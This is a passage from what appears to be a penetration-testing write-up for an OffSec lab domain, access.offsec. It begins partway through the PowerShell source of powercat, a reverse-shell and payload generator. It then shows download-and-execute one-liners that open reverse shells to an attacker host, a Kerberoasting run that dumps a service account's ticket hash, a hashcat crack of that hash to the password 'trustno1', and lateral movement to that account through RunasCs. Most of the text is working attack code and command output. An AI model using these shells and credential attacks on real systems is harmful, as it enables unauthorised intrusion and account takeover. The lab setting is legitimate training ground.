0){break}$ if($FuncVars["StreamReadOperation"].IsCompleted)$ {$ $StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"])$ if($StreamBytesRead -eq 0){break}$ $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]$ $FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)$ }$ return $Data,$FuncVars$ }$ function WriteData_TCP$ {$ param($Data,$FuncVars)$ $FuncVars["Stream"].Write($Data, 0, $Data.Length)$ return $FuncVars$ }$ function Close_TCP$ {$ param($FuncVars)$ try{$FuncVars["Stream"].Close()}$ catch{}$ if($FuncVars["l"]){$FuncVars["Socket"].Stop()}$ else{$FuncVars["Socket"].Close()}$ }$ ########## TCP FUNCTIONS ##########$ $ ########## CMD FUNCTIONS ##########$ function Setup_CMD$ {$ param($FuncSetupVars)$ if($global:Verbose){$Verbose = $True}$ $FuncVars = @{}$ $ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo$ $ProcessStartInfo.FileName = $FuncSetupVars[0]$ $ProcessStartInfo.UseShellExecute = $False$ $ProcessStartInfo.RedirectStandardInput = $True$ $ProcessStartInfo.RedirectStandardOutput = $True$ $ProcessStartInfo.RedirectStandardError = $True$ $FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo)$ Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...")$ $FuncVars["Process"].Start() | Out-Null$ $FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536$ $FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)$ $FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536$ $FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)$ $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding$ return $FuncVars$ }$ function ReadData_CMD$ {$ param($FuncVars)$ [byte[]]$Data = @()$ if($FuncVars["StdOutReadOperation"].IsCompleted)$ {$ $StdOutBytesRead = $FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"])$ if($StdOutBytesRead -eq 0){break}$ $Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)]$ $FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)$ }$ if($FuncVars["StdErrReadOperation"].IsCompleted)$ {$ $StdErrBytesRead = $FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"])$ if($StdErrBytesRead -eq 0){break}$ $Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)]$ $FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)$ }$ return $Data,$FuncVars$ }$ function WriteData_CMD$ {$ param($Data,$FuncVars)$ $FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd("`r").TrimEnd("`n"))$ return $FuncVars$ }$ function Close_CMD$ {$ param($FuncVars)$ $FuncVars["Process"] | Stop-Process$ } $ ########## CMD FUNCTIONS ##########$ $ ########## POWERSHELL FUNCTIONS ##########$ function Main_Powershell$ {$ param($Stream1SetupVars) $ try$ {$ $encoding = New-Object System.Text.AsciiEncoding$ [byte[]]$InputToWrite = @()$ if($i -ne $null)$ {$ Write-Verbose "Input from -i detected..."$ if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }$ elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }$ elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }$ else{Write-Host "Unrecognised input type." ; return}$ }$ $ Write-Verbose "Setting up Stream 1... (ESC/CTRL to exit)"$ try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}$ catch{Write-Verbose "Stream 1 Setup Failure" ; return}$ $ Write-Verbose "Setting up Stream 2... (ESC/CTRL to exit)"$ try$ {$ $IntroPrompt = $Encoding.GetBytes("Windows PowerShell`nCopyright (C) 2013 Microsoft Corporation. All rights reserved.`n`n" + ("PS " + (pwd).Path + "> "))$ $Prompt = ("PS " + (pwd).Path + "> ")$ $CommandToExecute = "" $ $Data = $null$ }$ catch$ {$ Write-Verbose "Stream 2 Setup Failure" ; return$ }$ $ if($InputToWrite -ne @())$ {$ Write-Verbose "Writing input to Stream 1..."$ try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}$ catch{Write-Host "Failed to write input to Stream 1" ; return}$ }$ $ if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}$ $ Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."$ while($True)$ { $ try$ {$ ##### Stream2 Read #####$ $Prompt = $null$ $ReturnedData = $null$ if($CommandToExecute -ne "")$ {$ try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}$ catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))}$ $Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> "))$ }$ $Data += $IntroPrompt$ $IntroPrompt = $null$ $Data += $ReturnedData$ $Data += $Prompt$ $CommandToExecute = ""$ ##### Stream2 Read #####$ $ if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}$ $Data = $null$ }$ catch$ {$ Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return$ }$ $ try$ {$ $Data,$Stream1Vars = Stream1_ReadData $Stream1Vars$ if($Data.Length -eq 0){Start-Sleep -Milliseconds 100}$ if($Data -ne $null){$CommandToExecute = $Encoding.GetString($Data)}$ $Data = $null$ }$ catch$ {$ Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return$ }$ }$ }$ finally$ {$ try$ {$ Write-Verbose "Closing Stream 1..."$ Stream1_Close $Stream1Vars$ }$ catch$ {$ Write-Verbose "Failed to close Stream 1"$ }$ }$ }$ ########## POWERSHELL FUNCTIONS ##########$ $ ########## CONSOLE FUNCTIONS ##########$ function Setup_Console$ {$ param($FuncSetupVars)$ $FuncVars = @{}$ $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding$ $FuncVars["Output"] = $FuncSetupVars[0]$ $FuncVars["OutputBytes"] = [byte[]]@()$ $FuncVars["OutputString"] = ""$ return $FuncVars$ }$ function ReadData_Console$ {$ param($FuncVars)$ $Data = $null$ if($Host.UI.RawUI.KeyAvailable)$ {$ $Data = $FuncVars["Encoding"].GetBytes((Read-Host) + "`n")$ }$ return $Data,$FuncVars$ }$ function WriteData_Console$ {$ param($Data,$FuncVars)$ switch($FuncVars["Output"])$ {$ "Host" {Write-Host -n $FuncVars["Encoding"].GetString($Data)}$ "String" {$FuncVars["OutputString"] += $FuncVars["Encoding"].GetString($Data)}$ "Bytes" {$FuncVars["OutputBytes"] += $Data}$ }$ return $FuncVars$ }$ function Close_Console$ {$ param($FuncVars)$ if($FuncVars["OutputString"] -ne ""){return $FuncVars["OutputString"]}$ elseif($FuncVars["OutputBytes"] -ne @()){return $FuncVars["OutputBytes"]}$ return$ }$ ########## CONSOLE FUNCTIONS ##########$ $ ########## MAIN FUNCTION ##########$ function Main$ {$ param($Stream1SetupVars,$Stream2SetupVars)$ try$ {$ [byte[]]$InputToWrite = @()$ $Encoding = New-Object System.Text.AsciiEncoding$ if($i -ne $null)$ {$ Write-Verbose "Input from -i detected..."$ if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }$ elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }$ elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }$ else{Write-Host "Unrecognised input type." ; return}$ }$ $ Write-Verbose "Setting up Stream 1..."$ try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}$ catch{Write-Verbose "Stream 1 Setup Failure" ; return}$ $ Write-Verbose "Setting up Stream 2..."$ try{$Stream2Vars = Stream2_Setup $Stream2SetupVars}$ catch{Write-Verbose "Stream 2 Setup Failure" ; return}$ $ $Data = $null$ $ if($InputToWrite -ne @())$ {$ Write-Verbose "Writing input to Stream 1..."$ try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}$ catch{Write-Host "Failed to write input to Stream 1" ; return}$ }$ $ if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}$ $ Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."$ while($True)$ {$ try$ {$ $Data,$Stream2Vars = Stream2_ReadData $Stream2Vars$ if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}$ if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}$ $Data = $null$ }$ catch$ {$ Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return$ }$ $ try$ {$ $Data,$Stream1Vars = Stream1_ReadData $Stream1Vars$ if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}$ if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars}$ $Data = $null$ }$ catch$ {$ Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return$ }$ }$ }$ finally$ {$ try$ {$ #Write-Verbose "Closing Stream 2..."$ Stream2_Close $Stream2Vars$ }$ catch$ {$ Write-Verbose "Failed to close Stream 2"$ }$ try$ {$ #Write-Verbose "Closing Stream 1..."$ Stream1_Close $Stream1Vars$ }$ catch$ {$ Write-Verbose "Failed to close Stream 1"$ }$ }$ }$ ########## MAIN FUNCTION ##########$ $ ########## GENERATE PAYLOAD ##########$ if($u)$ {$ Write-Verbose "Set Stream 1: UDP"$ $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")$ $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")$ $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")$ $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n") $ if($l){$InvokeString = "Main @('',`$True,'$p','$t') "}$ else{$InvokeString = "Main @('$c',`$False,'$p','$t') "}$ }$ elseif($dns -ne "")$ {$ Write-Verbose "Set Stream 1: DNS"$ $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")$ $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")$ $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")$ $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")$ if($l){return "This feature is not available."}$ else{$InvokeString = "Main @('$c','$p','$dns',$dnsft) "}$ }$ else$ {$ Write-Verbose "Set Stream 1: TCP"$ $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")$ $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")$ $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")$ $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")$ if($l){$InvokeString = "Main @('',`$True,$p,$t) "}$ else{$InvokeString = "Main @('$c',`$False,$p,$t) "}$ }$ $ if($e -ne "")$ {$ Write-Verbose "Set Stream 2: Process"$ $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_CMD} + "`n}`n`n")$ $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_CMD} + "`n}`n`n")$ $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_CMD} + "`n}`n`n")$ $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_CMD} + "`n}`n`n")$ $InvokeString += "@('$e')`n`n"$ }$ elseif($ep)$ {$ Write-Verbose "Set Stream 2: Powershell"$ $InvokeString += "`n`n"$ }$ elseif($r -ne "")$ {$ if($r.split(":")[0].ToLower() -eq "udp")$ {$ Write-Verbose "Set Stream 2: UDP"$ $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")$ $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")$ $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")$ $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n") $ if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}$ elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}$ else{return "Bad relay format."}$ }$ if($r.split(":")[0].ToLower() -eq "dns")$ {$ Write-Verbose "Set Stream 2: DNS"$ $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")$ $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")$ $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")$ $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")$ if($r.split(":").Count -eq 2){return "This feature is not available."}$ elseif($r.split(":").Count -eq 4){$InvokeString += ("@('" + $r.split(":")[1] + "','" + $r.split(":")[2] + "','" + $r.split(":")[3] + "',$dnsft) ")}$ else{return "Bad relay format."}$ }$ elseif($r.split(":")[0].ToLower() -eq "tcp")$ {$ Write-Verbose "Set Stream 2: TCP"$ $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")$ $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")$ $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")$ $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")$ if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}$ elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}$ else{return "Bad relay format."}$ }$ }$ else$ {$ Write-Verbose "Set Stream 2: Console"$ $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_Console} + "`n}`n`n")$ $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_Console} + "`n}`n`n")$ $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_Console} + "`n}`n`n")$ $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_Console} + "`n}`n`n")$ $InvokeString += ("@('" + $o + "')")$ }$ $ if($ep){$FunctionString += ("function Main`n{`n" + ${function:Main_Powershell} + "`n}`n`n")}$ else{$FunctionString += ("function Main`n{`n" + ${function:Main} + "`n}`n`n")}$ $InvokeString = ($FunctionString + $InvokeString)$ ########## GENERATE PAYLOAD ##########$ $ ########## RETURN GENERATED PAYLOADS ##########$ if($ge){Write-Verbose "Returning Encoded Payload..." ; return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($InvokeString))}$ elseif($g){Write-Verbose "Returning Payload..." ; return $InvokeString}$ ########## RETURN GENERATED PAYLOADS ##########$ $ ########## EXECUTION ##########$ $Output = $null$ try$ {$ if($rep)$ {$ while($True)$ {$ $Output += IEX $InvokeString$ Start-Sleep -s 2$ Write-Verbose "Repetition Enabled: Restarting..."$ }$ }$ else$ {$ $Output += IEX $InvokeString$ }$ }$ finally$ {$ if($Output -ne $null)$ {$ if($of -eq ""){$Output}$ else{[io.file]::WriteAllBytes($of,$Output)}$ }$ }$ ########## EXECUTION ##########$}$ Setup a listener and web server and get a Reverse Shell!
$Powershell IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.198/powercat.ps1');powercat -c 192.168.45.198 -p 443 -e cmd(screenshot omitted)
Lateral Movement and Privesc
The machine has two unprivileged users, "svc_apache" and "svc_mssql". (screenshot omitted) The local.txt isn't in the "svc_apache" folder, and "svc_mssql" was not accessible to the current user. So I need to switch to "svc_mssql" laterally to get the flag. Due to its naming convention, I assumed "svc_mssql" is a service account that can be requested tickets. But first, I need to get a list of service principal names of the machine, which I would use a PowerShell script to do that.
$Powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.45.198/Get-SPN.ps1','C:\Users\svc_apache\Desktop\Get-SPN.ps1')Run Get-SPN.ps1 https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1
$C:\Users\svc_apache\Desktop>powershell$powershell$Windows PowerShell $Copyright (C) Microsoft Corporation. All rights reserved.$ $PS C:\Users\svc_apache\Desktop> ./Get-SPN.ps1$./Get-SPN.ps1$Object Name = SERVER$DN = CN=SERVER,OU=Domain Controllers,DC=access,DC=offsec$Object Cat. = CN=Computer,CN=Schema,CN=Configuration,DC=access,DC=offsec$servicePrincipalNames$SPN( 1 ) = Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/SERVER.access.offsec$SPN( 2 ) = ldap/SERVER.access.offsec/ForestDnsZones.access.offsec$SPN( 3 ) = ldap/SERVER.access.offsec/DomainDnsZones.access.offsec$SPN( 4 ) = DNS/SERVER.access.offsec$SPN( 5 ) = GC/SERVER.access.offsec/access.offsec$SPN( 6 ) = RestrictedKrbHost/SERVER.access.offsec$SPN( 7 ) = RestrictedKrbHost/SERVER$SPN( 8 ) = RPC/20dae709-54fe-40ec-8c68-4475793b542a._msdcs.access.offsec$SPN( 9 ) = HOST/SERVER/ACCESS$SPN( 10 ) = HOST/SERVER.access.offsec/ACCESS$SPN( 11 ) = HOST/SERVER$SPN( 12 ) = HOST/SERVER.access.offsec$SPN( 13 ) = HOST/SERVER.access.offsec/access.offsec$SPN( 14 ) = E3514235-4B06-11D1-AB04-00C04FC2DCD2/20dae709-54fe-40ec-8c68-4475793b542a/access.offsec$SPN( 15 ) = ldap/SERVER/ACCESS$SPN( 16 ) = ldap/20dae709-54fe-40ec-8c68-4475793b542a._msdcs.access.offsec$SPN( 17 ) = ldap/SERVER.access.offsec/ACCESS$SPN( 18 ) = ldap/SERVER$SPN( 19 ) = ldap/SERVER.access.offsec$SPN( 20 ) = ldap/SERVER.access.offsec/access.offsec$ $Object Name = krbtgt$DN = CN=krbtgt,CN=Users,DC=access,DC=offsec$Object Cat. = CN=Person,CN=Schema,CN=Configuration,DC=access,DC=offsec$servicePrincipalNames$SPN( 1 ) = kadmin/changepw$ $Object Name = MSSQL$DN = CN=MSSQL,CN=Users,DC=access,DC=offsec$Object Cat. = CN=Person,CN=Schema,CN=Configuration,DC=access,DC=offsec$servicePrincipalNames$SPN( 1 ) = MSSQLSvc/DC.access.offsec$ $PS C:\Users\svc_apache\Desktop> Add-Type -AssemblyName System.IdentityModel$Add-Type -AssemblyName System.IdentityModel$PS C:\Users\svc_apache\Desktop> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/DC.access.offsec'$New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/DC.access.offsec'$ $Id : uuid-aac91d51-6173-42e4-9a12-f41cf1bc9bbe-1$SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}$ValidFrom : 1/24/2026 5:16:02 AM$ValidTo : 1/24/2026 3:16:02 PM$ServicePrincipalName : MSSQLSvc/DC.access.offsec$SecurityKey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey$ $PS C:\Users\svc_apache\Desktop> iex(new-object net.webclient).downloadString('http://192.168.45.198:80/Invoke-Kerberoast.ps1'); Invoke-Kerberoast -OutputFormat Hashcat$iex(new-object net.webclient).downloadString('http://192.168.45.198:80/Invoke-Kerberoast.ps1'); Invoke-Kerberoast -OutputFormat Hashcat$ $TicketByteHexStream : $Hash : $krb5tgs$23$*svc_mssql$access.offsec$MSSQLSvc/DC.access.offsec*$0927185145D22297052A03184A7F70E5$ $E64B75FF2F74931013E06D1CFF17D2F0A4732BC71842324B276DC125513383011ED0B99536845D3588FB9190F14D41B$ 5072D7C01AC236B49CB6C8DCF5B4EB2F8A0EEC0039A15FB3FD2ED1718EDE1CC413C4C9F6F23D70688E2980E81846BC2A$ B61BFCD531BE8D53C41579863C534B50EB34933FBBCB0F0963D2081617ECC5F6D6C5FAFC45AC7EFF837EA206E51D3FE1$ 22B91AF13C1D32EA3E32D0897CC0F87B2ABB19CCF2BF0C2C5B77D7907B899C99C0FAC2E448BA857D56117DFD73DA9F7A$ B44B82C3BB5907B03B785706B596F6608FA490F29FE6A977B4435F58D7F57342EE73019CD1A5BD4E1179B23475A98246$ 3D3F9062A6C9561B7A426ED4983F0A23F31635843C39531693BD19F259B82A0304281F33C9C0913A0DE8788C1D318E0F$ 36036CAE526151A788EBE8AA152E114C11300410EA1EB3CC362A8482C7A67252E6409459E319C387BA209ADA12CF2AA8$ 55B226061717FEF18CF9B5FDE082B6D18D19AED7FAD05FB07F2A748A5125D7C2B03C62246E3148DE9A60B5C6A6523433$ 3978B203EA66F31879D190205D2DF72B24BF45F3A2BE7864C25C2BEEDFC468B604873AA5CAB369A11AF453E81F113F1C$ 86F5DB07F291877F6423A6CFDA3D415E450EE50DDD775C4E840E8A4959DD36729DFE7BED9062380B1A345C5C82116C9D$ FBBAC2AE9E293F55CBDF27EC95E0ABB1F399E9404E21E2858C4FB369D5FE0D30516B2AF224C9FD04CAA8BCA3E83797F7$ 7FA036304FC2C8EF77F1F09806DB6DB3F37FFDFF49AFBC8C5D2C32D80C496C9E0ACDF285F91B7364EE72799F19ABD100$ 3BDC5C6380E772C49C60E4A1CD68063D400A7A7C056418F0A1467C96FF0FCCEE45BBBB61A32FAFC06E611277E22C5D5B$ 440FAA262AB52C75B10954B1ADFEEAA92D1FB42077658F45F6F89650986D5C991705334E617AFB44F4CBD500859E5C87$ C804A53C25258AB3052101A57BC5832B09273755AC1BADF2AEE07378EE72BB2E7F778E63FC843FB1F66F6666418F05D5$ A2C155AB68DFC086E6F33FBAE323C8BA37BAE1B3E7F1D3292F68E5B0AFBED1D8F96F3D6BFAD33112BFCE846423ACE6FC$ 841C95748AA04F3A577281F480C7BAC435AF49DA8A216574DE6BD62A445AF338DD5D85439F5266174009E6E532F76F58$ 6C20A67D194AC512EF3812036F0AC5C3E159C6C05B67CE5C431723C5661E241C54A1A5B04FDAF76599C9901CDDDF863D$ CD72D72D80F0336A1F56874E2E0C80C5835ABDD37C919517D35F97DC0ED4037A9F08C8855337A6FE1E8E77715AEF894C$ FBD9049BFD2381E42796D8B509264E36DB078771DF9469E6509DC0AFCA323264E1DBBD0F8E01D1D4D0503175AEE249BD$ F8EEC27CCF50E2B2031BC56A7729096D9E243425EBA179108D05413BC1C9CD790033CA3A9F97BF6005206975981C0A0D$ 9BD6C22D7612EFD2BED4B5315D4F84F2228E54120C0AEF0C9BDBD36E679B5C500B39E115A53131562599F1136EF03CE1$ FD8933388108BF75599D220125139C3F7DEF7590E2E493B2426F91F82AC31A2C61B10A74EC1A689408BE7081FF15C1DC$ 26895D3EF41B4701E41D5DB58D2532EFC4439C9FC4241BDA3321FED603A82D2CFB33B$SamAccountName : svc_mssql$DistinguishedName : CN=MSSQL,CN=Users,DC=access,DC=offsec$ServicePrincipalName : MSSQLSvc/DC.access.offsec$ $PS C:\Users\svc_apache\Desktop> Get hash on your kali and save it into hash file. Fix it with this command
$tr -d '\n ' < hash > hash_fixedThen Crack it with hashcat. You get password for svc_mssql:trustno1
$hashcat -m 13100 --force -a 0 hash_fixed /usr/share/wordlists/rockyou.txt$hashcat (v7.1.2) starting$ $You have enabled --force to bypass dangerous warnings and errors!$This can hide serious problems and should only be done when debugging.$Do not report hashcat issues encountered when using --force.$ $OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]$====================================================================================================================================================$* Device #01: cpu-sandybridge-AMD Ryzen 9 5900X 12-Core Processor, 2908/5816 MB (1024 MB allocatable), 4MCU$ $Minimum password length supported by kernel: 0$Maximum password length supported by kernel: 256$Minimum salt length supported by kernel: 0$Maximum salt length supported by kernel: 256$ $Hashes: 1 digests; 1 unique digests, 1 unique salts$Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates$Rules: 1$ $Optimizers applied:$* Zero-Byte$* Not-Iterated$* Single-Hash$* Single-Salt$ $ATTENTION! Pure (unoptimized) backend kernels selected.$Pure kernels can crack longer passwords, but drastically reduce performance.$If you want to switch to optimized kernels, append -O to your commandline.$See the above message to find out about the exact limits.$ $Watchdog: Temperature abort trigger set to 90c$ $Host memory allocated for this attack: 513 MB (5386 MB free)$ $Dictionary cache hit:$* Filename..: /usr/share/wordlists/rockyou.txt$* Passwords.: 14344385$* Bytes.....: 139921507$* Keyspace..: 14344385$ $$krb5tgs$23$*svc_mssql$access.offsec$MSSQLSvc/DC.access.offsec*$0927185145d22297052a03184a7f70e5$e64b75ff2f74931013e06d1cff17d2f0a4732bc71842324b276dc125513383011ed0b99536845d3588fb9190f14d41b5072d7c01ac236b49cb6c8dcf5b4eb2f8a0eec0039a15fb3fd2ed1718ede1cc413c4c9f6f23d70688e2980e81846bc2ab61bfcd531be8d53c41579863c534b50eb34933fbbcb0f0963d2081617ecc5f6d6c5fafc45ac7eff837ea206e51d3fe122b91af13c1d32ea3e32d0897cc0f87b2abb19ccf2bf0c2c5b77d7907b899c99c0fac2e448ba857d56117dfd73da9f7ab44b82c3bb5907b03b785706b596f6608fa490f29fe6a977b4435f58d7f57342ee73019cd1a5bd4e1179b23475a982463d3f9062a6c9561b7a426ed4983f0a23f31635843c39531693bd19f259b82a0304281f33c9c0913a0de8788c1d318e0f36036cae526151a788ebe8aa152e114c11300410ea1eb3cc362a8482c7a67252e6409459e319c387ba209ada12cf2aa855b226061717fef18cf9b5fde082b6d18d19aed7fad05fb07f2a748a5125d7c2b03c62246e3148de9a60b5c6a65234333978b203ea66f31879d190205d2df72b24bf45f3a2be7864c25c2beedfc468b604873aa5cab369a11af453e81f113f1c86f5db07f291877f6423a6cfda3d415e450ee50ddd775c4e840e8a4959dd36729dfe7bed9062380b1a345c5c82116c9dfbbac2ae9e293f55cbdf27ec95e0abb1f399e9404e21e2858c4fb369d5fe0d30516b2af224c9fd04caa8bca3e83797f77fa036304fc2c8ef77f1f09806db6db3f37ffdff49afbc8c5d2c32d80c496c9e0acdf285f91b7364ee72799f19abd1003bdc5c6380e772c49c60e4a1cd68063d400a7a7c056418f0a1467c96ff0fccee45bbbb61a32fafc06e611277e22c5d5b440faa262ab52c75b10954b1adfeeaa92d1fb42077658f45f6f89650986d5c991705334e617afb44f4cbd500859e5c87c804a53c25258ab3052101a57bc5832b09273755ac1badf2aee07378ee72bb2e7f778e63fc843fb1f66f6666418f05d5a2c155ab68dfc086e6f33fbae323c8ba37bae1b3e7f1d3292f68e5b0afbed1d8f96f3d6bfad33112bfce846423ace6fc841c95748aa04f3a577281f480c7bac435af49da8a216574de6bd62a445af338dd5d85439f5266174009e6e532f76f586c20a67d194ac512ef3812036f0ac5c3e159c6c05b67ce5c431723c5661e241c54a1a5b04fdaf76599c9901cdddf863dcd72d72d80f0336a1f56874e2e0c80c5835abdd37c919517d35f97dc0ed4037a9f08c8855337a6fe1e8e77715aef894cfbd9049bfd2381e42796d8b509264e36db078771df9469e6509dc0afca323264e1dbbd0f8e01d1d4d0503175aee249bdf8eec27ccf50e2b2031bc56a7729096d9e243425eba179108d05413bc1c9cd790033ca3a9f97bf6005206975981c0a0d9bd6c22d7612efd2bed4b5315d4f84f2228e54120c0aef0c9bdbd36e679b5c500b39e115a53131562599f1136ef03ce1fd8933388108bf75599d220125139c3f7def7590e2e493b2426f91f82ac31a2c61b10a74ec1a689408be7081ff15c1dc26895d3ef41b4701e41d5db58d2532efc4439c9fc4241bda3321fed603a82d2cfb33b:trustno1$ Transferred Invoke-RunasCS.ps1
$Powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.45.198/Invoke-RunasCs.ps1','C:\Users\svc_apache\Desktop\Invoke-RunasCs.ps1')Ran it and was able to run commands as svc_mssql
$import-module ./Invoke-RunasCs.ps1$Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"Started a Listener and invoked this command to get a shell as svc_mssql
$Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "Powershell IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.198/powercat.ps1');powercat -c 192.168.45.198 -p 4444 -e cmd"For Privesc I got **SeManageVolumeExploit from this link **https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public
